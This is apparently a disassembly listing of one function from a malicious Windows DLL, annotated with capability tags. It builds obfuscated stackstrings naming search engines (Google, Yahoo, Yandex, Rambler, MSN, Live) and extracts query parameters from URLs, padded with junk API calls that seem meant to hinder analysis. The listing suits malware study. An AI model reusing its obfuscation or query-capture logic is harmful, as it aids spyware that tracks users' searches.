Function at 0x100038d5
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x238
mov eax, dword [0x100271c0]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
test eax, eax
mov ecx, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c0], ecx
je 0x10003ecb
cmp byte [eax], 0
je 0x10003ecb
test ecx, ecx
je 0x10003ecb
cmp byte [ecx], 0
je 0x10003ecb
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.lkdsxqrbwwky
mov byte [ebp + 0x5c], 0x68
mov byte [ebp + 0x5d], 0x74
mov byte [ebp + 0x5e], 0x74
call edi
mov esi, dword [sym.imp.USER32.dll_GetCursor]
call esi
mov byte [ebp + 0x5f], 0x70
mov byte [ebp + 0x60], 0x3a
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0x10b
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp + 0x61], 0x2f
mov byte [ebp + 0x62], 0x2f
mov byte [ebp + 0x63], 0
call ebx
lea eax, [ebp + 0x5c]
push eax
push dword [ebp - 0x1c8]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003ecb
lea eax, [ebp + 0x5c]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003ecb
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push str.cwsazuttjhvzvl
mov byte [ebp + 0x3c], 0x67
call edi
push 0x41c
push 0x2ed3
mov byte [ebp + 0x3d], 0x6f
mov byte [ebp + 0x3e], 0x6f
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x10a
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp + 0x3f], 0x67
mov byte [ebp + 0x40], 0x6c
mov byte [ebp + 0x41], 0x65
call ebx
mov edi, dword [sym.imp.USER32.dll_GetDC]
push 0x693
mov byte [ebp + 0x42], 0
mov byte [ebp - 0x94], 0x79
mov byte [ebp - 0x93], 0x61
call edi
push 0x11ca
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x19c]
push eax
mov ebx, 0x104
push ebx
mov byte [ebp - 0x92], 0x68
call edi
mov byte [ebp - 0x91], 0x6f
call esi
push 0x40d
push 0xe9f
mov byte [ebp - 0x90], 0x6f
mov byte [ebp - 0x8f], 0
call dword [sym.imp.USER32.dll_GetClassLongA]
lea eax, [ebp - 0x19c]
push eax
push ebx
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x65
call edi
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x68
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
lea eax, [ebp - 0x19c]
push eax
push ebx
mov byte [ebp - 0xe], 0x2e
call edi
push str.uuodmovrxyax
mov byte [ebp - 0xd], 0x79
mov byte [ebp - 0xc], 0x61
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1b8]
push eax
mov byte [ebp - 0xb], 0x68
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100214f4
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x2e94
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 9], 0x6f
call dword [sym.imp.USER32.dll_GetDC]
lea eax, [ebp - 0x19c]
push eax
push ebx
mov byte [ebp - 8], 0
call edi
mov byte [ebp - 0x74], 0x79
call esi
mov byte [ebp - 0x73], 0x61
call esi
mov byte [ebp - 0x72], 0x6e
lea eax, [ebp - 0x19c]
push eax
push ebx
call edi
push 0x121
lea eax, [ebp - 0x1b8]
push eax
mov byte [ebp - 0x71], 0x64
mov byte [ebp - 0x70], 0x65
mov byte [ebp - 0x6f], 0x78
mov byte [ebp - 0x6e], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0x2c96
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0x61
mov byte [ebp - 0x52], 0x6d
mov byte [ebp - 0x51], 0x62
call dword [sym.imp.USER32.dll_GetDC]
push 0x103
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 0x50], 0x6c
mov byte [ebp - 0x4f], 0x65
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0x31e
mov byte [ebp - 0x4e], 0x72
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov byte [ebp - 0x4d], 0
call esi
lea eax, [ebp - 0x19c]
push eax
push ebx
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], 0x65
call edi
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1bc]
push eax
mov byte [ebp - 0x32], 0x61
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x19c]
push eax
mov byte [ebp - 0x31], 0x72
mov byte [ebp - 0x30], 0x63
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x6d
mov byte [ebp - 0x2c], 0x73
call esi
lea eax, [ebp - 0x19c]
push eax
push ebx
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x2a], 0
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call edi
call edi
mov ebx, dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x2de8
mov byte [ebp + 0xc], 0x73
call ebx
call esi
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp + 0xd], 0x65
mov byte [ebp + 0xe], 0x61
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push str.tzfam
mov byte [ebp + 0xf], 0x72
mov byte [ebp + 0x10], 0x63
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov byte [ebp + 0x11], 0x68
call esi
mov byte [ebp + 0x12], 0x2e
mov byte [ebp + 0x13], 0x6c
push 0x410
push 0x29de
mov byte [ebp + 0x14], 0x69
mov byte [ebp + 0x15], 0x76
mov byte [ebp + 0x16], 0x65
call dword [sym.imp.USER32.dll_GetClassLongA]
push 0x427
push 0xe49
mov byte [ebp + 0x17], 0
call dword [sym.imp.USER32.dll_GetClassLongA]
call esi
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x19c]
push eax
mov byte [ebp + 0x2c], 0x74
mov byte [ebp + 0x2d], 0x65
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x1b3f
mov byte [ebp + 0x2e], 0x78
call ebx
push 0x18e5
mov byte [ebp + 0x2f], 0x74
mov byte [ebp + 0x30], 0x3d
mov byte [ebp + 0x31], 0
call ebx
mov byte [ebp + 0x4c], 0x77
mov byte [ebp + 0x4d], 0x6f
mov byte [ebp + 0x4e], 0x72
mov byte [ebp + 0x4f], 0x64
call esi
mov byte [ebp + 0x50], 0x73
call edi
mov esi, dword [ebp - 0x1c8]
lea eax, [ebp + 0x3c]
push eax
push esi
mov byte [ebp + 0x51], 0x3d
mov byte [ebp + 0x52], 0
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003d15
lea eax, [ebp + 0x3c]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003d15
push 0x100214bc
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003cfe
push 0x100214b8
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003ecb
add eax, 3
mov cl, byte [eax]
mov edx, eax
jmp 0x10003d0e
test cl, cl
je 0x10003d78
inc edx
mov cl, byte [edx]
cmp cl, 0x26
jne 0x10003d07
jmp 0x10003d78
lea eax, [ebp - 0x94]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003d89
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003d89
push 0x100214b4
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003d63
push 0x100214b0
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003ecb
add eax, 3
mov cl, byte [eax]
mov edx, eax
jmp 0x10003d73
test cl, cl
je 0x10003d78
inc edx
mov cl, byte [edx]
cmp cl, 0x26
jne 0x10003d6c
push 1
push edx
push eax
call fcn.100031c7
add esp, 0xc
jmp 0x10003ecd
lea eax, [ebp - 0x74]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003de7
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003de7
lea eax, [ebp + 0x2c]
push eax
push esi
call fcn.10010a40
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10003ecb
lea eax, [ebp + 0x2c]
push eax
call fcn.10010f40
add esi, eax
mov al, byte [esi]
pop ecx
mov ecx, esi
jmp 0x10003ddd
test al, al
je 0x10003de1
inc ecx
mov al, byte [ecx]
cmp al, 0x26
jne 0x10003dd6
push 0
push ecx
push esi
jmp 0x10003d7c
lea eax, [ebp - 0x54]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003e41
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003e41
lea eax, [ebp + 0x4c]
push eax
push esi
call fcn.10010a40
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10003ecb
lea eax, [ebp + 0x4c]
push eax
call fcn.10010f40
add esi, eax
mov al, byte [esi]
pop ecx
mov ecx, esi
jmp 0x10003e3b
test al, al
je 0x10003de1
inc ecx
mov al, byte [ecx]
cmp al, 0x26
jne 0x10003e34
jmp 0x10003de1
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003e66
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003e8b
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003ecb
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0x1c0]
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003ecb
push 0x100214bc
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
jne 0x10003ead
push 0x100214b8
push esi
call fcn.10010a40
test eax, eax
pop ecx
pop ecx
je 0x10003ecb
add eax, 3
mov cl, byte [eax]
mov edx, eax
jmp 0x10003ec1
test cl, cl
je 0x10003d78
inc edx
mov cl, byte [edx]
cmp cl, 0x26
jne 0x10003eb6
jmp 0x10003d78
xor eax, eax
mov ecx, dword [ebp + 0x6c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10010fcb
add ebp, 0x70
leave
ret